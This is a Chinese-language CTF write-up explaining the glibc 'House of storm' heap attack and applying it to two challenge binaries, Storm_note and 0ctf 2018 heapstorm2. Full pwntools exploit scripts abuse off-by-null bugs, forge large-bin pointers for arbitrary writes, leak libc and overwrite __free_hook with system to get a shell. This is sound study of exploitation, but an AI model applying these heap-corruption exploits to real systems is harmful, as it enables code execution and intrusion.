House of storm

61 篇文章 1 订阅
18 篇文章 1 订阅

House of storm

结合了unsorted_bin_attack和Largebin_attack的攻击技术,实现任意地址分配chunk,任意地址写。

利用条件:

1.需要攻击者在largebin和unsorted_bin中分别布置一个chunk ,
  这两个chunk需要在归位之后处于同一个largebin的index中,
  且unsortedbin中的chunk要比largebin中的大
2.需要unsorted_bin中的bk指针可控
3.需要largebin中的bk指针和bk_nextsize指针可控
4.glibc版本小于2.30,因为2.30之后加入了检查

largebin中size与index的对应关系

size    index
[0x400 , 0x440)   	 64
[0x440 , 0x480)    	 65
[0x480 , 0x4C0)   	 66
[0x4C0 , 0x500)   	 67
[0x500 , 0x540)   	 68
等差 0x40    …
[0xC00 , 0xC40)    	 96
[0xC40 , 0xE00)      97
[0xE00 , 0x1000)     98
[0x1000 , 0x1200)    99
[0x1200 , 0x1400)    100
[0x1400 , 0x1600)    101
等差 0x200    …
[0x2800 , 0x2A00)    111
[0x2A00 , 0x3000)    112
[0x3000 , 0x4000)    113
[0x4000 , 0x5000)    114
等差 0x1000    …
[0x9000 , 0xA000)      119
[0xA000 , 0x10000)     120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )        126

利用方法

1.将unsorted_bin中的bk指针改为fake_chunk
2.largebin中的bk指针改为fake_chunk+8,bk_nextsize指针改为fake_chunk-0x18-5	,
(target为要修改的目标地址,fake_chunk为target-0x20)
 来满足victim->bk_nextsize->fd_nextsize = victim(即fake_chunk-0x18-5=victim)
3.再次malloc获得target地址处的chunk,可修改target地址处的值

House_of_storm的精髓所在——伪造size,如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话,减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。
之所以是0x56是因为__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,必须满足以下条件之一即可:

1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0

0x56(二进制数为0101 0110)满足条件
0x55(二进制数为0101 0101)不满足条件
但是由于程序有随机化,多运行几次总能有一次成功的。

unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk

large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5

例题

2019 西湖论剑 Storm_note在这里插入图片描述

保护全开,实现四个功能,增改删退,ida查看伪代码
init_proc()函数,mallopt()函数,设置fastbin 范围最大为0,禁用了fastbin,
之后用mmap在 0xABCD0100处分配0x30大小的空间,填充上了随机数

init_proc()函数
 ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )                         // mallopt(M_MXFAST,0)将global_max_fast设置为0,
                                                // 这个值的意思是最大为多大的chunk归fastbin管理,
                                                // 设置为0表示这个程序中不再存在fastbin。
                                                // 即本程序禁用了fastbin。
    exit(-1);
  if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, 0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}
add函数

calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。

unsigned __int64 alloc_note()
{
  int size; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 15 && note[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf("%d", &size);
    if ( size > 0 && size <= 0xFFFFF )
    {
      note[i] = calloc(size, 1uLL);             // calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。
                                                // 
      note_size[i] = size;
      puts("Done");
    }
    else
    {
      puts("Invalid size");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
edit函数

存在off-by-null

unsigned __int64 edit_note()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index ?");
  _isoc99_scanf("%d", &size);
  if ( size <= 0xF && note[size] )
  {
    puts("Content: ");
    v2 = read(0, note[size], note_size[size]);
    *(note[size] + v2) = 0;                     // off-by-null
                                                // 
    puts("Done");
  }
  else
  {
    puts("Invalid index");
  }
  return __readfsqword(0x28u) ^ v3;
}
free函数

无uaf

unsigned __int64 delete_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && note[v1] )
  {
    free(note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }
  else
  {
    puts("Invalid index");
  }
  return __readfsqword(0x28u) ^ v2;
}
一个后门函数

要想执行system(“/bin/sh”);,需要输入与程序一开始分配的随机数相同的数

void __noreturn backdoor()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v1; // [rsp+38h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, buf, 0x30uLL);
  if ( !memcmp(buf, 0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);
}
思路

1、利用off-by-null 漏洞构造堆风水,实现堆块重叠,从而控制堆块内容。
2、House of storm,将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
3、控制largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写,将0xABCD0100处的0x30字节改为已知值,获得shell

过程

先把前面的东西写好

# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()


def add(size):
  sla('Choice','1')
  sla('?',str(size))

def edit(index,text):
  sla('Choice','2')
  sla('?',str(index))
  sa('Content',text)

def free(index):
  sla('Choice','3')
  sla('?',str(index))

首先申请两组chunk,用来构造堆块重叠,并进入unsortedbin和largebin

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6
dbg()

在这里插入图片描述

然后构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。

edit(1,'a'*0x4f0+p64(0x500)) 
edit(4,'a'*0x4f0+p64(0x500)) 

dbg()


然后再free(1),利用off-by-null编辑chunk_0,将chunk_1的size从0x510改为0x500,由于刚才构造的两个fake chunk,此时堆块已合并

free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

dbg()

在这里插入图片描述
再申请两个chunk,使之恢复正常,之后free掉chunk_1和chunk_2,使之合并

add(0x18)#1
add(0x4d8)#7  

free(1)
free(2)    

dbg()

在这里插入图片描述
再次申请两个特定大小的chunk即可实现chunk7可以控制原unsortedbin chunk 0x4f1的bk指针,即我们可以用chunk_7来控制chunk_2(unsortedbin chunk),为便于理解我们可查看一下note这个存放全局chunk mem指针的数组

add(0x30)#1 此时chunk1可以控制原unsortedbin chunk  0x4f1(chunk_2)的bk指针
add(0x4e0)#2
dbg()

在这里插入图片描述
下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针

free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

之后free(2),放入unsortedbin

free(2)    

dbg()


再申请回来0x4e8(0x4f0)大小的chunk,使0x4e0大小的chunk进入largebin

add(0x4e8)      # put chunk8(0x5c0) to largebin

dbg()

在这里插入图片描述
再次free(2),构造一个unsortedbin chunk和一个largebin chunk

free(2) #put chunk2 to unsortedbin

dbg()

在这里插入图片描述
之后利用刚才构造的堆块重叠,修改unsortedbin chunk的bk指针为目标地址(target-0x20)

target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

dbg()

在这里插入图片描述
在这里插入图片描述
之后利用刚才构造的堆块重叠,修改largebin chunk的bk指针和bk_nextsize指针分别为fake_chunk+8,和fake_chunk-0x18-5

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

dbg()

在这里插入图片描述

然后申请0x40(0x50)大小的chunk,可以看到在目标地址处0xabcd00e0成功伪造fake chunk,size为0x56,巧妙的实现victim->bk_nextsize->fd_nextsize = victim

add(0x40)

dbg()

在这里插入图片描述
之后就是把0xABCD0100处的0x30个字节改为已知数,然后获得shell

payload = '\x00'*(0x10+0x30)
edit(2,payload)

dbg()

	sla('Choice: ','666')
	s(p64(0)*6)
	itr()

在这里插入图片描述

exp
# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()


def add(size):
  sla('Choice','1')
  sla('?',str(size))

def edit(index,text):
  sla('Choice','2')
  sla('?',str(index))
  sa('Content',text)

def free(index):
  sla('Choice','3')
  sla('?',str(index))
#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6


#dbg()
#构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。
edit(1,'a'*0x4f0+p64(0x500)) 
edit(4,'a'*0x4f0+p64(0x500)) 

#dbg()
#----------------准备 unsorted chunk-----------------------#
free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

#dbg()

add(0x18)#1
add(0x4d8)#7  

free(1)
free(2)    

#dbg()

#recover
add(0x30)#1 此时chunk7可以控制原 (unsortedbin chunk  0x4f1)的bk指针
add(0x4e0)#2
#-------------------准备 large chunk-----------------------------------#
#dbg()
#下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针
free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

 #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)    #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0)    which size is largebin FIFO
 
#dbg()
#
add(0x4e8)      # put chunk8(0x5c0) to largebin

#dbg()

free(2) #put chunk2 to unsortedbin

#dbg()
 #--------------修改他们是的满足条件进行 house of strom------------------------------#
target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

#dbg()

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

#dbg()

add(0x40)

#dbg()

payload = '\x00'*(0x10+0x30)
edit(2,payload)

#dbg()

sla('Choice: ','666')
s(p64(0)*6)
itr()

0ctf_2018_heapstorm2

在这里插入图片描述
同样是保护全开,

main

实现四个功能,增删改查

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]   	//v4=0x13370800

  v4 = sub_BE6();

  while ( 1 )
  {
    menu();
    switch ( chioce(a1, a2) )
    {
      case 1LL:
        a1 = v4;
        add(v4);
        break;
      case 2LL:
        a1 = v4;
        up(v4);
        break;
      case 3LL:
        a1 = v4;
        delete(v4);
        break;
      case 4LL:
        a1 = v4;
        show(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

主函数里有个sub_BE6()函数,其中禁用了fastbin,并且用mmap在0x13370000处分配了大小为0x1000的chunk,从/dev/urandom中读取了3个随机数到0x13370800处,还调用了两个异或函数,由后面可知,是对chunk的头指针和size进行了异或加密,返回0x13370800给v4,这里相当于有四个随机数,第三个和第四个随机数相同

__int64 sub_BE6()
{
  int i; // [rsp+8h] [rbp-18h]
  int fd; // [rsp+Ch] [rbp-14h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts(
    "    __ __ _____________   __   __    ___    ____\n"
    "   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n"
    "  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"
    " / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n"
    "/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");
  puts("===== HEAP STORM II =====");
  if ( !mallopt(1, 0) )                         // 禁用fastbin
    exit(-1);
  if ( mmap(0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != 322371584 )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  if ( read(fd, 0x13370800, 0x18uLL) != 24 )
    exit(-1);
  close(fd);
  MEMORY[0x13370818] = MEMORY[0x13370810];
  for ( i = 0; i <= 15; ++i )
  {
    *(16 * (i + 2LL) + 0x13370800) = ptr_xor(0x13370800, 0LL);
    *(16 * (i + 2LL) + 0x13370808) = size_xor(0x13370800LL, 0LL);
  }
  return 0x13370800LL;
}
ptr_xor()
__int64 __fastcall ptr_xor(_QWORD *a1, __int64 a2)
{
  return *a1 ^ a2;     //a1为第一个随机数
}
size_xor()
__int64 __fastcall size_xor(__int64 a1, __int64 a2)
{
  return a2 ^ *(a1 + 8);	//a1+8为第一个随机数
}

readd函数存在一个off-by-one

unsigned __int64 __fastcall sub_1402(__int64 a1, __int64 a2)
{
  __int64 v3; // rax
  char buf; // [rsp+17h] [rbp-19h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]
  ssize_t v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( !a2 )
    return 0LL;
  v5 = 0LL;
  while ( a2 - 1 > v5 )
  {
    v6 = read(0, &buf, 1uLL);
    if ( v6 > 0 )
    {
      if ( buf == 10 )
        break;
      v3 = v5++;
      *(v3 + a1) = buf;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      break;
    }
  }
  *(a1 + v5) = 0;                               // off-by-null
  return v5;
}

add函数
只能申请0xC 到0x1000的chunk,且chunk的头指针和size用 了异或加密,由上面的异或函数可知只是用了前两个随机数,并且我们看到chunk的头指针和size是 在0x13370800+4*0x8处开始存放的,按照mem指针+size顺序依次存放

void __fastcall add(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !size_xor(a1, *(16 * (i + 2LL) + a1 + 8)) )
    {
      printf("Size: ");
      size = chioce();
      if ( size > 12 && size <= 4096 )
      {
        v3 = calloc(size, 1uLL);
        if ( !v3 )
          exit(-1);
        *(16 * (i + 2LL) + a1 + 8) = size_xor(a1, size);
        *(16 * (i + 2LL) + a1) = ptr_xor(a1, v3);
        printf("Chunk %d Allocated\n", i);
      }
      else
      {
        puts("Invalid Size");
      }
      return;
    }
  }
}
edit函数

读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

int __fastcall edit(_QWORD *a1)
{
  signed int v2; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+14h] [rbp-1Ch]
  __int64 v4; // [rsp+18h] [rbp-18h]

  printf("Index: ");
  v2 = chioce();
  if ( v2 > 0xF || !size_xor(a1, a1[2 * v2 + 5]) )
    return puts("Invalid Index");
  printf("Size: ");
  v3 = chioce();
  if ( v3 <= 0 || v3 > (size_xor(a1, a1[2 * v2 + 5]) - 12) )
    return puts("Invalid Size");
  printf("Content: ");
  v4 = ptr_xor(a1, a1[2 * v2 + 4]);
  sub_1377(v4, v3);
  strcpy((v3 + v4), "HEAPSTORM_II");
  return printf("Chunk %d Updated\n", v2);
}
free函数

不存在uaf

int __fastcall sub_109B(_QWORD *a1)
{
  void *v2; // rax
  signed int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v3 = chioce();
  if ( v3 > 0xF || !size_xor(a1, a1[2 * v3 + 5]) )
    return puts("Invalid Index");
  v2 = ptr_xor(a1, a1[2 * v3 + 4]);
  free(v2);
  a1[2 * v3 + 4] = ptr_xor(a1, 0LL);
  a1[2 * v3 + 5] = size_xor(a1, 0LL);
  return printf("Chunk %d Deleted\n", v3);
}
show函数

需要满足 (a1[3] ^ a1[2]) == 0x13377331才能使用该函数,也就是第2个随机数和第3个随机数异或后为0x13377331才行

	int __fastcall sub_11B5(_QWORD *a1)
{
  __int64 v2; // rbx
  __int64 v3; // rax
  signed int v4; // [rsp+1Ch] [rbp-14h]

  if ( (a1[3] ^ a1[2]) != 0x13377331LL )
    return puts("Permission denied");
  printf("Index: ");
  v4 = chioce();
  if ( v4 > 0xF || !size_xor(a1, a1[2 * v4 + 5]) )
    return puts("Invalid Index");
  printf("Chunk[%d]: ", v4);
  v2 = size_xor(a1, a1[2 * v4 + 5]);
  v3 = ptr_xor(a1, a1[2 * v4 + 4]);
  sub_14D4(v3, v2);
  return puts(byte_180A);
}

思路

题目保护全开,我们想到的是把free_hook改为system地址,而我们首先得泄露出libc基地址,就必须利用show函数,要想利用show函数,就必须修改第3个随机数和第4个随机数的值,使它们异或后为0x13377331,随机数是在0x13370800处,我们就想到要将chunk分配到0x13370800处,程序允许我们分配最大0x1000大小的chunk,可以使用House of storm来将chunk分配到0x13370800处,这样我们不仅控制了四个随机数,还控制了chunk的全局数组

过程

先把前面的东西写好

#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim,data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim,data)
r       = lambda num=4096           :sh.recv(num)
rl      = lambda num=4096           :sh.recvline(num)
ru      = lambda delims   :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
def dbg():
    gdb.attach(sh)
    pause()
def add(size):
    sla('Command: ','1')
    sla('Size: ',str(size))  # 12<size<0x1000


def edit(idx,content):
    sla('Command: ','2')
    sla('Index: ',str(idx))
    sla('Size: ',str(len(content)))
    sa('Content: ',content)



def free(idx):
    sla('Command: ','3')
    sla('Index: ',str(idx))


def show(idx):
    sla('Command: ','4')
    sla('Index: ',str(idx))

和上一题一样,先构造一个unsortedbin和largebin,并且利用off-by-null来实现控制unsortedbin chunk的bk指针和largebin chunk的bk和bk_size指针,然后再malloc chunk,将chunk分配到0x13370800处,这里要注意的是这道题的edit函数有点不同,会把我们输入的字节后面加上12字节再加一个’\x00’,所以我们每次edit都要少输入12字节即可实现0ff-by-null。

#---------------布置chunk-------------------------#
add(0x18)#0	   
add(0x508)#1
add(0x18)#2

add(0x18)#3   
add(0x508)#4
add(0x18)#5   

add(0x18)#6   

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) 
free(1)
edit(0,'\x00'*(0x18-12))
add(0x18) #1 
add(0x4d8) #7   

free(1)   
free(2) #1-2

add(0x38)#1
add(0x4e8)#2  

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))
free(4)
edit(3,'\x00'*(0x18-12)) 
add(0x18) #4
add(0x4d8) #8

free(4)
free(5) #4-5 

add(0x48)#4  
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8) 
free(2) 
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)  
add(0x48) 

现在我们已经可以控制0x13370800处的值了,我们把这些随机数都改为0,然后把chunk_0改为0x13370800,以此来实现控制

#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

dbg()

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

之后修改0x13370800处的第三个和第四个数分别为0和0x13377331,两者异或得到0x13377331,越过show函数的检查,此时已经可以使用show函数,因为我们要泄露的unsortedbin chunk的fd指针(指向main_arena+88),我们必须在chunk的全局数组中写入0x56104462a060来show,但是程序每次运行地址不同,由上图可知fake_chunk+3处存放的就是0x56104462a060,
所以我们需要利用fake_chunk+3(unsortedbin chunk的地址)来泄露libc,我们每次把chunk0的位置写为0x13370800,就可以实现每次通过chunk0来控制0x13370800

payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8)   #chunk1
edit(0, payload) #满足show的条件

show(1)  #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

dbg()

在这里插入图片描述

在这里插入图片描述
此时我们成功泄露出unsortedbin chunk的地址,我们再修改全局数组为unsortedbin chunk的地址+0x10(main_arena+88),然后即可泄露处libc基地址

payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
dbg()

在这里插入图片描述

之后我们要做到就是在全局数组里写入free hook地址和/bin/sh,将其改为system,获得shell,free_hook在chunk0处,/bin/sh\x00在chunk1处

#--------------修改 free_hook -----------------------------------#
payload  = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)

dbg()

在这里插入图片描述
之后改free_hook为system,free(1),获得shell

edit(0, p64(system))
free(1)

itr()

在这里插入图片描述

exp
#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim,data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim,data)
r       = lambda num=4096           :sh.recv(num)
rl      = lambda num=4096           :sh.recvline(num)
ru      = lambda delims   :sh.recvuntil(delims )
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def dbg():
        gdb.attach(sh)
        pause()
def add(size):

    sla('Command: ','1')
    sla('Size: ',str(size))  # 12<size<0x1000


def edit(idx,content):
    sla('Command: ','2')
    sla('Index: ',str(idx))
    sla('Size: ',str(len(content)))
    sa('Content: ',content)



def free(idx):
    sla('Command: ','3')
    sla('Index: ',str(idx))


def show(idx):
    sla('Command: ','4')
    sla('Index: ',str(idx))

#---------------布置chunk-------------------------#
add(0x18)#0	 
add(0x508)#1
add(0x18)#2

add(0x18)#3   
add(0x508)#4
add(0x18)#5   

add(0x18)#6  

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) 
free(1)
edit(0,'\x00'*(0x18-12))  
add(0x18) #1 
add(0x4d8) #7  

free(1)   
free(2) #1-2 合并  

add(0x38)#1
add(0x4e8)#2   

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
free(4)
edit(3,'\x00'*(0x18-12)) 
add(0x18) #4
add(0x4d8) #8  

free(4)
free(5) #4-5 

add(0x48)#4  
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8) 
free(2)   
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48)  #2  -> 0x133707e0   成功将申请到了heaparray附近

 

#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址

payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0

#dbg()
 
payload = p64(0)*3 +p64(0x13377331)  #满足show的条件

payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8)   #chunk1
edit(0, payload) #满足show的条件

#dbg()

show(1)  #我们刚刚house of storm 写的地址泄漏出来
ru("]: ")
heap = u64(r(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

#dbg()

payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)

#dbg()

show(1) #泄漏libc地址
ru("]: ")
malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
 
#--------------修改 free_hook -----------------------------------#
payload  = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
#dbg()
edit(0, p64(system))
free(1)

itr()

参考文章
House of storm 原理及利用
Largebin Attack
CTF-WIKI
Largebin attack总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值